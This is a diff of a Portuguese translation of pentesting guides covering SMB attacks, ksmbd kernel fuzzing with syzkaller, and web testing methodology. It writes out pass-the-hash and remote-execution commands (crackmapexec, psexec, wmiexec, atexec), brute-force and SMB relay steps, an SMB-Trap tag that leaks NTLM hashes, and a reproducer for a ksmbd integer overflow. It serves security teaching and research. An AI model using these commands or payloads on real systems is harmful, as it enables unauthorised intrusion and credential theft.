1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -329,24 +330,24 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 A **configuração padrão de** um servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**: -| **Setting** | **Description** | -| --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Permitir listar os compartilhamentos disponíveis? | -| `read only = no` | Proibir a criação e modificação de arquivos? | -| `writable = yes` | Permitir que usuários criem e modifiquem arquivos? | -| `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? | -| `enable privileges = yes` | Respeitar privilégios atribuídos a um SID específico? | -| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? | -| `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? | -| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? | -| `magic script = script.sh` | Qual script deve ser executado quando o script é encerrado? | -| `magic output = script.out` | Onde a saída do magic script precisa ser armazenada? | +| **Configuração** | **Descrição** | +| -------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | Permitir listar os shares disponíveis no compartilhamento atual? | +| `read only = no` | Proibir a criação e modificação de arquivos? | +| `writable = yes` | Permitir que usuários criem e modifiquem arquivos? | +| `guest ok = yes` | Permitir conectar ao serviço sem usar uma senha? | +| `enable privileges = yes` | Respeitar privilégios atribuídos a um SID específico? | +| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? | +| `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? | +| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? | +| `magic script = script.sh` | Qual script deve ser executado quando o script for encerrado? | +| `magic output = script.out`| Onde a saída do magic script precisa ser armazenada? | O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**. -## Authenticate using Kerberos +## Autenticar usando Kerberos -Você pode **autenticar-se** no **Kerberos** usando as ferramentas **smbclient** e **rpcclient**: +Você pode autenticar no Kerberos usando as ferramentas smbclient e rpcclient: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec pode executar comandos **abusando** de qualquer um dos **mmcexec, smbexec, atexec, wmiexec** sendo **wmiexec** o **método padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`: +crackmapexec pode executar comandos **abusando de** qualquer um de **mmcexec, smbexec, atexec, wmiexec** sendo **wmiexec** o **método padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`: ```bash apt-get install crackmapexec @@ -379,8 +380,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Ambas as opções irão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e usá‑lo para **executar algo** (**psexec** irá **upload** um arquivo executável para a share ADMIN$ e **smbexec** irá apontar para **cmd.exe/powershell.exe** e colocar nos argumentos o payload --**file-less technique-**-).\ -**Mais info** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +Ambas as opções vão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina vítima e usá‑lo para **executar algo** (**psexec** irá **fazer upload** de um arquivo executável para o share ADMIN$ e **smbexec** irá apontar para **cmd.exe/powershell.exe** e colocar nos argumentos o payload --**file-less technique**--).\ +**Mais informações** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -389,19 +390,19 @@ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Usando o **parâmetro** `-k` você pode autenticar via **kerberos** em vez de **NTLM** +Usando **parâmetro**`-k` você pode autenticar via **kerberos** em vez de **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec Execute furtivamente um shell de comandos sem tocar no disco ou iniciar um novo serviço usando DCOM via **porta 135.**\ -No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/ +No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Usando o **parâmetro** `-k` você pode autenticar-se contra **kerberos** em vez de **NTLM** +Usando **parâmetro**`-k` você pode autenticar via **kerberos** em vez de **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -410,8 +411,8 @@ Usando o **parâmetro** `-k` você pode autenticar-se contra **kerberos** em vez ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Executa comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\ -No **kali** encontra-se em /usr/share/doc/python3-impacket/examples/ +Executar comandos via Task Scheduler (usando _\pipe\atsvc_ via SMB).\ +Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" @@ -426,7 +427,7 @@ No **kali** encontra-se em /usr/share/doc/python3-impacket/examples/ ksmbd-attack-surface-and-fuzzing-syzkaller.md {{#endref}} -## **Bruteforce de credenciais de usuários** +## **Bruteforce credenciais de usuários** **Isso não é recomendado, você pode bloquear uma conta se exceder o número máximo de tentativas permitidas** ```bash @@ -435,35 +436,35 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Este ataque usa o toolkit Responder para **capturar sessões de autenticação SMB** em uma rede interna, e **retransmite** elas para uma **target machine**. Se a **sessão de autenticação** for bem-sucedida, isso automaticamente abrirá uma **system shell**.\ -[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Este ataque usa o toolkit Responder para **capture SMB authentication sessions** em uma rede interna, e **relays** elas para uma **target machine**. Se a **authentication session** for bem-sucedida, ela automaticamente abrirá um **system** **shell**.\ +[**Mais informações sobre este ataque aqui.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -A biblioteca do Windows URLMon.dll tenta automaticamente autenticar-se com o host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"` +The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"` -Isso acontece com as funções: +This happens with the functions: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -Que são usadas por alguns navegadores e ferramentas (like Skype) +Which are used by some browsers and tools (like Skype) -![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ### SMBTrap using MitMf -![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ## NTLM Theft Semelhante ao SMB Trapping, plantar arquivos maliciosos em um target system (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser crackeado offline ou usado em um [SMB relay attack](#smb-relay-attack). -[Veja: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks Automatic Commands +## HackTricks Comandos Automáticos ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 586ff9711..b24406d61 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Visão Geral -Esta página sintetiza técnicas práticas para exercitar e fazer fuzzing do servidor SMB in-kernel do Linux (ksmbd) usando syzkaller. O foco é expandir a superfície de ataque do protocolo via configuração, construir um stateful harness capaz de encadear operações SMB2, gerar PDUs gramaticamente válidos, direcionar mutações para caminhos de código pouco cobertos e aproveitar recursos do syzkaller como focus_areas e ANYBLOB. Enquanto a pesquisa original lista CVEs específicos, aqui enfatizamos a metodologia reutilizável e trechos concretos que você pode adaptar ao seu ambiente. +## Visão geral +Esta página abstrai técnicas práticas para exercitar e fuzzar o servidor SMB in-kernel do Linux (ksmbd) usando syzkaller. Ela foca em expandir a superfície de ataque do protocolo via configuração, construir um harness stateful capaz de encadear operações SMB2, gerar PDUs válidos segundo a gramática, direcionar mutações para caminhos de código pouco cobertos e aproveitar recursos do syzkaller como focus_areas e ANYBLOB. Enquanto a pesquisa original enumera CVEs específicos, aqui enfatizamos a metodologia reutilizável e trechos concretos que você pode adaptar ao seu próprio ambiente. Escopo alvo: SMB2/SMB3 sobre TCP. Kerberos e RDMA estão intencionalmente fora do escopo para manter o harness simples. --- ## Expandir a Superfície de Ataque do ksmbd via Configuração -Por padrão, uma configuração mínima do ksmbd deixa grandes partes do servidor sem testar. Habilite as seguintes funcionalidades para forçar o servidor a percorrer parsers/handlers adicionais e alcançar caminhos de código mais profundos: +Por padrão, uma configuração mínima do ksmbd deixa grandes partes do servidor sem teste. Habilite as seguintes funcionalidades para levar o servidor por parsers/handlers adicionais e alcançar caminhos de código mais profundos: - Global-level - Durable handles @@ -21,35 +21,35 @@ Por padrão, uma configuração mínima do ksmbd deixa grandes partes do servido - VFS objects Habilitar isso aumenta a execução em módulos como: -- smb2pdu.c (parsing/dispatch de comandos) +- smb2pdu.c (análise/encaminhamento de comandos) - ndr.c (encode/decode NDR) -- oplock.c (requisição/break de oplock) +- oplock.c (requisição/interrupt de oplock) - smbacl.c (parsing/aplicação de ACL) -- vfs.c (ops do VFS) -- vfs_cache.c (lookup cache) +- vfs.c (operações VFS) +- vfs_cache.c (cache de lookup) Notas -- Opções exatas dependem do userspace ksmbd da sua distro (ksmbd-tools). Revise /etc/ksmbd/ksmbd.conf e as seções por-share para habilitar durable handles, leases, oplocks e VFS objects. -- Multi-channel e durable handles alteram máquinas de estado e tempos de vida, frequentemente expondo UAF/refcount/OOB sob concorrência. +- Opções exatas dependem do userspace ksmbd da sua distro (ksmbd-tools). Revise /etc/ksmbd/ksmbd.conf e as seções per-share para habilitar durable handles, leases, oplocks e VFS objects. +- Multi-channel e durable handles alteram máquinas de estado e tempos de vida, frequentemente expondo UAF/refcount/OOB bugs sob concorrência. --- -## Ajustes de Autenticação e Rate-Limiting para Fuzzing -SMB3 precisa de uma sessão válida. Implementar Kerberos em harnesses adiciona complexidade, então prefira NTLM/guest para fuzzing: +## Ajustes de Autenticação e Limitação de Taxa para Fuzzing +SMB3 precisa de uma sessão válida. Implementar Kerberos nos harnesses adiciona complexidade, então prefira NTLM/guest para fuzzing: -- Permita acesso guest e configure map to guest = bad user para que usuários desconhecidos caiam em GUEST. -- Aceite NTLMv2 (patch na política se estiver desabilitado). Isso mantém o handshake simples enquanto percorre caminhos de código SMB3. -- Remova checagens estritas de credit quando estiver experimentando (o hardening pós-CVE-2024-50285 tornou o crediting de ops simultâneas mais rígido). Caso contrário, rate-limits podem rejeitar sequências fuzzed cedo demais. -- Aumente max connections (por exemplo, para 65536) para evitar rejeições prematuras durante fuzzing de alta vazão. +- Permita acesso guest e configure map to guest = bad user para que usuários desconhecidos revertam para GUEST. +- Aceite NTLMv2 (patch na policy se estiver desabilitado). Isso mantém o handshake simples enquanto exercita caminhos de código do SMB3. +- Aplique patch para remover checagens estritas de credit quando estiver experimentando (hardening pós-CVE-2024-50285 tornou o crediting de operações simultâneas mais estrito). Caso contrário, limitações de taxa podem rejeitar sequências fuzzadas cedo demais. +- Aumente max connections (por exemplo, para 65536) para evitar rejeições precoces durante fuzzing de alto throughput. -Cuidado: Essas relaxações são apenas para facilitar o fuzzing. Não implante com essas configurações em produção. +Atenção: Essas relaxações são apenas para facilitar o fuzzing. Não utilize essas configurações em produção. --- -## Stateful Harness: Extrair Recursos e Encadear Requests -SMB é stateful: muitas requests dependem de identificadores retornados por respostas anteriores (SessionId, TreeID, pares FileID). Seu harness deve parsear respostas e reutilizar IDs dentro do mesmo programa para atingir handlers profundos (por exemplo, smb2_create → smb2_ioctl → smb2_close). +## Harness com Estado: Extrair Recursos e Encadear Requisições +SMB é stateful: muitas requisições dependem de identificadores retornados por respostas anteriores (SessionId, TreeID, pares FileID). Seu harness deve parsear respostas e reutilizar IDs dentro do mesmo programa para alcançar handlers profundos (ex.: smb2_create → smb2_ioctl → smb2_close). -Exemplo de snippet para processar um buffer de resposta (pulando os +4B do NetBIOS PDU length) e armazenar IDs: +Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs: ```c // process response. does not contain +4B PDU length void process_buffer(int msg_no, const char *buffer, size_t received) { @@ -75,14 +75,14 @@ break; } } ``` -Dicas -- Mantenha um processo fuzzer único compartilhando autenticação/estado: melhor estabilidade e cobertura com ksmbd’s global/session tables. O syzkaller ainda injeta concorrência marcando ops async, rerun internamente. -- Syzkaller’s experimental reset_acc_state pode resetar o estado global, mas pode introduzir uma lentidão significativa. Prefira estabilidade e foque no fuzzing. +Tips +- Mantenha um único processo fuzzer compartilhando authentication/state: melhor estabilidade e cobertura com as global/session tables do ksmbd. syzkaller ainda injeta concorrência marcando ops como async e reexecutando internamente. +- O experimental reset_acc_state do Syzkaller pode resetar o global state, mas pode introduzir forte slowdown. Prefira estabilidade e foque em fuzzing. --- -## Geração SMB2 guiada por gramática (PDUs válidos) -Traduza as estruturas SMB2 do Microsoft Open Specifications para uma fuzzer grammar para que o seu gerador produza PDUs estruturalmente válidos, que alcancem sistematicamente os dispatchers e os IOCTL handlers. +## Geração SMB2 dirigida por gramática (PDUs válidos) +Traduza as estruturas SMB2 das Microsoft Open Specifications para uma fuzzer grammar, de modo que seu gerador produza PDUs estruturalmente válidos, que atinjam sistematicamente os dispatchers e IOCTL handlers. Exemplo (SMB2 IOCTL request): ``` @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -Este estilo força tamanhos/deslocamentos corretos das estruturas e melhora dramaticamente a cobertura em comparação com mutações cegas. +Este estilo força tamanhos/deslocamentos corretos das estruturas e melhora dramaticamente a cobertura em comparação com mutação cega. --- -## Directed Fuzzing With focus_areas -Use o experimental focus_areas do syzkaller para dar mais peso a funções/arquivos específicos que atualmente têm cobertura fraca. Exemplo JSON: +## Fuzzing direcionado com focus_areas +Use as focus_areas experimentais do syzkaller para atribuir mais peso a funções/arquivos específicos que atualmente têm cobertura fraca. Exemplo de JSON: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ Use o experimental focus_areas do syzkaller para dar mais peso a funções/arqui ] } ``` -Isso ajuda a construir ACLs válidas que atingem caminhos aritméticos/overflow em smbacl.c. Por exemplo, um Security Descriptor malicioso com um dacloffset sobredimensionado reproduz um integer-overflow. +Isto ajuda a construir ACLs válidas que atingem caminhos aritméticos/overflow em smbacl.c. Por exemplo, um Security Descriptor malicioso com um dacloffset superdimensionado reproduz um integer-overflow. -Construtor do reproducer (Python mínimo): +Construtor de reproducer (Python mínimo): ```python def build_sd(): import struct @@ -143,8 +143,8 @@ return bytes(sd) ``` --- -## Superando Platôs de Cobertura com ANYBLOB -Os anyTypes do syzkaller (ANYBLOB/ANYRES) permitem reduzir estruturas complexas a blobs que são mutadas de forma genérica. Popule um novo corpus a partir de pcaps SMB públicos e converta payloads em programas syzkaller que chamem seu pseudo-syscall (por exemplo, syz_ksmbd_send_req): +## Superando platôs de cobertura com ANYBLOB +Os anyTypes do syzkaller (ANYBLOB/ANYRES) permitem colapsar estruturas complexas em blobs que mutam de forma genérica. Alimente um novo corpus a partir de pcaps SMB públicos e converta payloads em programas syzkaller que chamem seu pseudo-syscall (por exemplo, syz_ksmbd_send_req): ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -167,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -Isto acelera a exploração e pode imediatamente disparar UAFs (por exemplo, em ksmbd_sessions_deregister) enquanto aumenta a cobertura alguns por cento. +Isso acelera a exploração e pode acionar imediatamente UAFs (por exemplo, em ksmbd_sessions_deregister), ao mesmo tempo em que aumenta a cobertura em alguns por cento. --- ## Sanitizadores: Além do KASAN -- KASAN continua sendo o detector principal para bugs de heap (UAF/OOB). +- KASAN continua sendo o detector principal para heap bugs (UAF/OOB). - KCSAN frequentemente gera falsos positivos ou data races de baixa gravidade neste alvo. -- UBSAN/KUBSAN podem detectar erros de limites declarados que o KASAN perde devido à semântica de índices de array. Exemplo: +- UBSAN/KUBSAN podem detectar erros de limites declarados que o KASAN perde devido à semântica de indexação de array. Exemplo: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ } __attribute__((packed)); ``` -Definir num_subauth = 0 dispara uma leitura OOB dentro da struct de sub_auth[-1], detectada pelas verificações de declared-bounds do UBSAN. +Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks. --- -## Notas sobre throughput e paralelismo -- Um único processo fuzzer (auth/state compartilhados) tende a ser significativamente mais estável para ksmbd e ainda expõe races/UAFs graças ao executor assíncrono interno do syzkaller. -- Com múltiplas VMs, ainda é possível atingir centenas de comandos SMB/segundo no total. Cobertura ao nível de função em torno de ~60% de fs/smb/server e ~70% de smb2pdu.c é alcançável, embora a cobertura de transições de estado seja sub-representada por tais métricas. +## Observações sobre taxa de transferência e paralelismo +- Um único processo de fuzzer (auth/state compartilhados) tende a ser significativamente mais estável para ksmbd e ainda revela races/UAFs graças ao executor async interno do syzkaller. +- Com múltiplas VMs, você ainda pode atingir centenas de comandos SMB/segundo no total. Cobertura a nível de função em torno de ~60% de fs/smb/server e ~70% de smb2pdu.c é atingível, embora a cobertura de transição de estados seja subrepresentada por tais métricas. --- ## Checklist Prático - Ative durable handles, leases, multi-channel, oplocks e VFS objects no ksmbd. -- Permita guest e map-to-guest; aceite NTLMv2. Faça patch para remover credit limits e aumente max connections para estabilidade do fuzzer. -- Construa um harness stateful que faça cache de SessionId/TreeID/FileIDs e encadeie create → ioctl → close. -- Use uma gramática para SMB2 PDUs para manter a validade estrutural. -- Use focus_areas para dar mais peso a funções com baixa cobertura (p.ex., caminhos em smbacl.c como smb_check_perm_dacl). -- Semeie com ANYBLOB a partir de pcaps reais para quebrar platôs; empacote seeds com syz-db para reutilização. -- Execute com KASAN + UBSAN; trate com cuidado os relatórios UBSAN declared-bounds. +- Permita guest e map-to-guest; aceite NTLMv2. Remova os limites de crédito e aumente o número máximo de conexões para melhorar a estabilidade do fuzzer. +- Implemente um harness stateful que faça cache de SessionId/TreeID/FileIDs e encadeie create → ioctl → close. +- Use uma grammar para SMB2 PDUs para manter a validade estrutural. +- Use focus_areas para sobreponderar funções com baixa cobertura (ex.: caminhos em smbacl.c como smb_check_perm_dacl). +- Semeie com ANYBLOB de pcaps reais para quebrar platôs; empaquete seeds com syz-db para reutilização. +- Execute com KASAN + UBSAN; triage os relatórios de declared-bounds do UBSAN com cuidado. --- @@ -214,6 +214,6 @@ Definir num_subauth = 0 dispara uma leitura OOB dentro da struct de sub_auth[-1] - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures -- Leitura adicional: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes +- Leitura complementar: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 07e0de4a4..d969ea782 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,4 +1,4 @@ -# 80,443 - Metodologia Web de Pentesting +# 80,443 - Pentesting Web Methodology {{#include ../../banners/hacktricks-training.md}} @@ -26,44 +26,44 @@ web-api-pentesting.md ## Resumo da metodologia -> Nesta metodologia vamos supor que você irá atacar um domínio (ou subdomínio) e somente esse. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web indeterminado dentro do escopo. +> Nesta metodologia vamos supor que você vai atacar um domínio (ou subdomínio) e apenas esse. Portanto, aplique esta metodologia para cada domínio, subdomínio ou IP descoberto com servidor web indeterminado dentro do escopo. -- [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **truques** para ter em mente durante o resto do teste se você conseguir identificar a tecnologia com sucesso. -- [ ] Alguma **vulnerabilidade conhecida** na versão da tecnologia? -- [ ] Usando alguma **well known tech**? Algum **truque útil** para extrair mais informação? -- [ ] Algum **specialised scanner** para rodar (like wpscan)? -- [ ] Execute **general purposes scanners**. Você nunca sabe se eles vão encontrar algo ou alguma informação interessante. -- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **SSL/TLS scan** (se HTTPS). -- [ ] Comece a **spidering** a página web: é hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros em uso.** Além disso, verifique por **descobertas especiais**. -- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ -- [ ] **Directory Brute-Forcing**: Tente brute forcear todas as pastas descobertas procurando por novos **arquivos** e **diretórios**. -- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ -- [ ] **Backups checking**: Teste se você consegue encontrar **backups** de **arquivos descobertos** adicionando extensões de backup comuns. +- [ ] Comece **identificando** as **tecnologias** usadas pelo servidor web. Procure por **truques** para ter em mente durante o restante do teste se você conseguir identificar a tech com sucesso. +- [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia? +- [ ] Usando alguma **tech** bem conhecida? Algum **truque útil** para extrair mais informação? +- [ ] Algum **scanner especializado** para rodar (como wpscan)? +- [ ] Execute **scanners de propósito geral**. Você nunca sabe se vão encontrar algo ou alguma informação interessante. +- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, **erro 404** e **SSL/TLS scan** (se HTTPS). +- [ ] Inicie o **spidering** da página web: é hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros em uso.** Também verifique por **achados especiais**. +- [ ] _Note que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spidered._ +- [ ] **Directory Brute-Forcing**: Tente realizar brute force em todas as pastas descobertas procurando por novos **arquivos** e **diretórios**. +- [ ] _Note que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._ +- [ ] **Backups checking**: Teste se você consegue encontrar **backups** de **arquivos descobertos** anexando extensões de backup comuns. - [ ] **Brute-Force parameters**: Tente **encontrar parâmetros ocultos**. -- [ ] Uma vez que você tenha **identificado** todos os possíveis **endpoints** que aceitam **user input**, verifique todos os tipos de **vulnerabilidades** relacionados a eles. -- [ ] [Siga este checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Uma vez que você tenha **identificado** todos os possíveis **endpoints** que aceitam **input do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a eles. +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Versão do servidor (Vulnerável?) +## Server Version (Vulnerable?) ### Identificar -Verifique se há **vulnerabilidades conhecidas** para a **versão** do servidor que está em execução.\ -Os **HTTP headers and cookies of the response** podem ser muito úteis para **identificar** as **technologies** e/ou **version** em uso. **Nmap scan** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +Verifique se existem **vulnerabilidades conhecidas** para a **versão** do servidor que está rodando.\ +Os **headers HTTP e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** em uso. O **Nmap scan** pode identificar a versão do servidor, mas as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Pesquisar **por** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md) -### **Verificar se existe algum WAF** +### **Verificar se há algum WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Truques de tecnologia web +### Truques de tecnologias web Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas em uso: @@ -102,19 +102,20 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Sitecore**](sitecore/index.html) -_Tenha em conta que o **mesmo domínio** pode estar a usar **diferentes tecnologias** em diferentes **ports**, **pastas** e **subdomínios**._\ -Se a web application estiver a usar alguma **tech/platform** bem conhecida listada acima ou **qualquer outra**, não se esqueça de **procurar na Internet** por novos truques (e avise-me!). +_Tenha em conta que o **mesmo domínio** pode estar a usar **tecnologias diferentes** em diferentes **portas**, **pastas** e **subdomínios**._\ +Se a aplicação web estiver a usar alguma **tecnologia/plataforma bem conhecida listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** por novos truques (e me avise!). -### Revisão de Código Fonte +### Revisão do código-fonte -Se o **source code** da aplicação estiver disponível no **github**, para além de realizar por **sua própria um White box test** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **Black-Box testing**: +Se o **código-fonte** da aplicação estiver disponível no **github**, além de realizar por **si mesmo um teste White box** da aplicação, há **alguma informação** que pode ser **útil** para o atual teste **Black-Box**: + +- Existe um ficheiro **Change-log ou Readme ou Version** ou qualquer coisa com **informação de versão acessível** via web? +- Como e onde são guardadas as **credenciais**? Existe algum (acessível?) **arquivo** com credenciais (nomes de usuário ou senhas)? +- As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hashing** é usado? +- Está a usar alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado? +- Consegue **acessar algum desses arquivos** explorando alguma vulnerabilidade? +- Existe alguma **informação interessante no github** (issues resolvidas ou não)? Ou no **histórico de commits** (talvez alguma **senha introduzida em um commit antigo**)? -- Existe algum arquivo Change-log, Readme ou Version, ou qualquer coisa com informação de versão acessível via web? -- Como e onde são guardadas as **credentials**? Existe algum (acessível?) **file** com credentials (nomes de usuário ou senhas)? -- As senhas estão em **plain text**, **encrypted** ou que **algoritmo de hashing** é usado? -- Está a usar alguma **master key** para encriptar algo? Que **algoritmo** é usado? -- É possível **aceder a algum destes ficheiros** explorando alguma vulnerabilidade? -- Há alguma **informação interessante no github** (issues resolvidas e não resolvidas)? Ou no **histórico de commits** (talvez alguma **password** introduzida num commit antigo)? {{#ref}} code-review-tools.md @@ -134,14 +135,14 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS scanners +#### Scanners de CMS -Se um CMS for usado, não se esqueça de **run a scanner**, talvez algo interessante seja encontrado: +Se um CMS for usado não esqueça de **rodar um scanner**, talvez algo interessante seja encontrado: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites para problemas de segurança. 